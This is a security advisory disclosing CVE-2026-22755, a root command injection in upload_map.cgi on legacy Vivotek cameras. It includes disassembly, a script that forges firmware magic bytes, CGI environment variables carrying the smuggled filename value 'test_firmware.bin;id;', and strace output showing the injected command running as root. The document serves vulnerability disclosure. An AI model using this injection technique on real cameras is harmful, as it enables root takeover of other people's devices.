Advisory #: 220
Title: Legacy Vivotek Firmware Command Injection in upload_map.cgi
Author: Larry W. Cashdollar
Date: 2026-01-08
CVE IDs:[CVE-2026-22755]
Download Site: https://ftpmirror.your.org/pub/misc/ftp.vivotek.com/Firmware/
Vendor:
Vendor Notified: 2026-01-08
Vendor Contact: technicalusa@vivotek.com
Advisory:
Description: A remote command injection vulnerability was found in some legacy Vivotek cameras.
Vulnerability:
snprintf() is being used to format the string “mv %s %s” with user supplied input and then that string is passed to the system() function. This is where our command injection occurs. By supplying a specially crafted filename with shell commands embedded in it we can execute commands as the http servers user id which is root. 0x00009a84 e4109fe5 ldr r1, [0x00009b70] ; [0x9b70:4]=511 0x00009a88 e4209fe5 ldr r2, str.mv__s__s ; [0xc348:4]=0x2520766d ; "mv %s %s" 0x00009a8c 00308de5 str r3, [sp] 0x00009a90 de0f8de2 add r0, var_378h 0x00009a94 0930a0e1 mov r3, sb ; 0xc44c ; "POST_FILE_NAME" 0x00009a98 effbffeb bl sym.imp.snprintf 0x00009a9c de0f8de2 add r0, var_378h 0x00009aa0 05fcffeb bl sym.imp.system
Export: JSON TEXT XML
Exploit Code:
Because we were unable to obtain the specific model of camera of our own we configured a machine to emulate the architecture and environment of a vulnerable camera. The following criteria need to be met in order to exploit the vulnerability: The file size must be under 5MB. The calling script must be upload_map.cgi not file_manger.cgi you can’t access file_manager.cgi directly the code checks for this which I will highlight below. The uploaded binary must pass a firmware verification check. The /usr/sbin/confclient binary must be intact and return the following string capability_remotecamctrl_master=1 The boa webserver included in the firmware is customized and uses non standard environment variables to pass data to cgi-bin binaries. #!/bin/bash TEMP_DIR=/tmp # Create a minimal firmware file # The validate_firmware_file checks for magic bytes: FF V FF FF (at start) and FF K FF FF (at end) echo "[*] Creating test firmware file..." # Create fake firmware with proper magic bytes FIRMWARE_FILE="$TEMP_DIR/firmware.bin" # Write the magic header: FF V FF FF printf '\xFF\x56\xFF\xFF' > "$FIRMWARE_FILE" # Add padding and fake firmware data dd if=/dev/zero bs=1 count=1000 >> "$FIRMWARE_FILE" 2>/dev/null # Write the magic footer: FF K FF FF printf '\xFF\x4B\xFF\xFF' >> "$FIRMWARE_FILE" echo "[+] Firmware file created: $FIRMWARE_FILE" ls -lh "$FIRMWARE_FILE" echo "" Bash script used to create valid dummy firmware images. The CONTENT_LENGTH value just needs to be above 0 and below 5MB. export REQUEST_METHOD=POST export CONTENT_LENGTH=55123 export QUERY_STRING=camid=1 export SCRIPT_NAME=upload_map.cgi export POST_FILE_NAME="test_firmware.bin;id;" export SCRIPT_NAME=upload_map.cgi The environment variables used to execute the cgi-bin binary. # /usr/share/www/cgi-bin/upload_map.cgi Content-type: text/html upload_result='0';upload_msg='upload_successfully';ip='';port='0';username='';passwd='';mv: missing destination file operand after 'test_firmware.bin' Try 'mv --help' for more information. uid=0(root) gid=0(root) groups=0(root) The resulting output of id being passed into the system() function. [pid 360278] execve("/bin/sh", ["sh", "-c", "mv test_firmware.bin;id; /mnt/fl"...], 0x555587d277c0 /* 22 vars */ [pid 360279] <... clock_nanosleep resumed> ) = ? [pid 360279] +++ exited with 0 +++ [pid 360278] <... execve resumed>) = 0 [[pid 360278] newfstatat(AT_FDCWD, "/usr/bin/mv", {st_mode=S_IFREG|0755, st_size=137752, ...}, 0) = 0 [pid 360278] rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = 0 [pid 360278] vfork(strace: Process 360280 attached [pid 360280] rt_sigprocmask(SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) = 0 [pid 360280] execve("/usr/bin/mv", ["mv", "test_firmware.bin"], 0x60c637838788 /* 22 vars */ [pid 360278] <... vfork resumed>) = 360280 . . . [pid 360280] write(2, "mv: ", 4mv: ) = 4 [pid 360280] write(2, "missing destination file operand"..., 58missing destination file operand after 'test_firmware.bin') = 58 [pid 360280] write(2, "\n", 1 ) = 1 [pid 360280] write(2, "Try 'mv --help' for more informa"..., 38Try 'mv --help' for more information. ) = 38 [pid 360281] rt_sigprocmask(SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) = 0 [pid 360281] execve("/usr/bin/id", ["id"], 0x60c637838788 /* 22 vars */ [pid 360278] <... vfork resumed>) = 360281 [pid 360278] rt_sigprocmask(SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) = 0 [pid 360278] wait4(-1, [pid 360281] <... execve resumed>) = 0 . . . [pid 360281] close(4) = 0 [pid 360281] write(1, "uid=0(root) gid=0(root) groups=0"..., 39uid=0(root) gid=0(root) groups=0(root) ) = 39
Screen Shots:
Notes: